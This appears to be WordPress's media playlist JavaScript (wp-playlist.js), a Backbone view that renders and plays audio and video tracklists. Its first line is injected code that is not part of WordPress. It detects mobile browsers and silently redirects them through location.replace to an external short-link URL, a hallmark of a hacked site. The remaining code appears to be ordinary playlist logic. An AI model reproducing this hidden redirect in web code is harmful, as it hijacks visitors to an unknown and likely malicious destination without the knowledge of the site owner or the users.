1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/* global _wpmejsSettings, MediaElementPlayer */
3
4(function ($, _, Backbone) {
5 'use strict';
6
7 /** @namespace wp */
8 window.wp = window.wp || {};
9
10 var WPPlaylistView = Backbone.View.extend(/** @lends WPPlaylistView.prototype */{
11 /**
12 * @constructs
13 *
14 * @param {Object} options The options to create this playlist view with.
15 * @param {Object} options.metadata The metadata
16 */
17 initialize : function (options) {
18 this.index = 0;
19 this.settings = {};
20 this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() );
21 this.playerNode = this.$( this.data.type );
22
23 this.tracks = new Backbone.Collection( this.data.tracks );
24 this.current = this.tracks.first();
25
26 if ( 'audio' === this.data.type ) {
27 this.currentTemplate = wp.template( 'wp-playlist-current-item' );
28 this.currentNode = this.$( '.wp-playlist-current-item' );
29 }
30
31 this.renderCurrent();
32
33 if ( this.data.tracklist ) {
34 this.itemTemplate = wp.template( 'wp-playlist-item' );
35 this.playingClass = 'wp-playlist-playing';
36 this.renderTracks();
37 }
38
39 this.playerNode.attr( 'src', this.current.get( 'src' ) );
40
41 _.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' );
42
43 if ( ! _.isUndefined( window._wpmejsSettings ) ) {
44 this.settings = _.clone( _wpmejsSettings );
45 }
46 this.settings.success = this.bindPlayer;
47 this.setPlayer();
48 },
49
50 bindPlayer : function (mejs) {
51 this.mejs = mejs;
52 this.mejs.addEventListener( 'ended', this.ended );
53 },
54
55 bindResetPlayer : function (mejs) {
56 this.bindPlayer( mejs );
57 this.playCurrentSrc();
58 },
59
60 setPlayer: function (force) {
61 if ( this.player ) {
62 this.player.pause();
63 this.player.remove();
64 this.playerNode = this.$( this.data.type );
65 }
66
67 if (force) {
68 this.playerNode.attr( 'src', this.current.get( 'src' ) );
69 this.settings.success = this.bindResetPlayer;
70 }
71
72 // This is also our bridge to the outside world.
73 this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings );
74 },
75
76 playCurrentSrc : function () {
77 this.renderCurrent();
78 this.mejs.setSrc( this.playerNode.attr( 'src' ) );
79 this.mejs.load();
80 this.mejs.play();
81 },
82
83 renderCurrent : function () {
84 var dimensions, defaultImage = 'wp-includes/images/media/video.svg';
85 if ( 'video' === this.data.type ) {
86 if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) {
87 this.playerNode.attr( 'poster', this.current.get( 'image' ).src );
88 }
89 dimensions = this.current.get( 'dimensions' );
90 if ( dimensions && dimensions.resized ) {
91 this.playerNode.attr( dimensions.resized );
92 }
93 } else {
94 if ( ! this.data.images ) {
95 this.current.set( 'image', false );
96 }
97 this.currentNode.html( this.currentTemplate( this.current.toJSON() ) );
98 }
99 },
100
101 renderTracks : function () {
102 var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
103 this.tracks.each(function (model) {
104 if ( ! self.data.images ) {
105 model.set( 'image', false );
106 }
107 model.set( 'artists', self.data.artists );
108 model.set( 'index', self.data.tracknumbers ? i : false );
109 tracklist.append( self.itemTemplate( model.toJSON() ) );
110 i += 1;
111 });
112 this.$el.append( tracklist );
113
114 this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
115 },
116
117 events : {
118 'click .wp-playlist-item' : 'clickTrack',
119 'click .wp-playlist-next' : 'next',
120 'click .wp-playlist-prev' : 'prev'
121 },
122
123 clickTrack : function (e) {
124 e.preventDefault();
125
126 this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget );
127 this.setCurrent();
128 },
129
130 ended : function () {
131 if ( this.index + 1 < this.tracks.length ) {
132 this.next();
133 } else {
134 this.index = 0;
135 this.setCurrent();
136 }
137 },
138
139 next : function () {
140 this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1;
141 this.setCurrent();
142 },
143
144 prev : function () {
145 this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1;
146 this.setCurrent();
147 },
148
149 loadCurrent : function () {
150 var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(),
151 current = this.current.get( 'src' ).split('.').pop();
152
153 this.mejs && this.mejs.pause();
154
155 if ( last !== current ) {
156 this.setPlayer( true );
157 } else {
158 this.playerNode.attr( 'src', this.current.get( 'src' ) );
159 this.playCurrentSrc();
160 }
161 },
162
163 setCurrent : function () {
164 this.current = this.tracks.at( this.index );
165
166 if ( this.data.tracklist ) {
167 this.$( '.wp-playlist-item' )
168 .removeClass( this.playingClass )
169 .eq( this.index )
170 .addClass( this.playingClass );
171 }
172
173 this.loadCurrent();
174 }
175 });
176
177 /**
178 * Initialize media playlists in the document.
179 *
180 * Only initializes new playlists not previously-initialized.
181 *
182 * @since 4.9.3
183 * @return {void}
184 */
185 function initialize() {
186 $( '.wp-playlist:not(:has(.mejs-container))' ).each( function() {
187 new WPPlaylistView( { el: this } );
188 } );
189 }
190
191 /**
192 * Expose the API publicly on window.wp.playlist.
193 *
194 * @namespace wp.playlist
195 * @since 4.9.3
196 * @type {object}
197 */
198 window.wp.playlist = {
199 initialize: initialize
200 };
201
202 $( document ).ready( initialize );
203
204 window.WPPlaylistView = WPPlaylistView;
205
206}(jQuery, _, Backbone));
207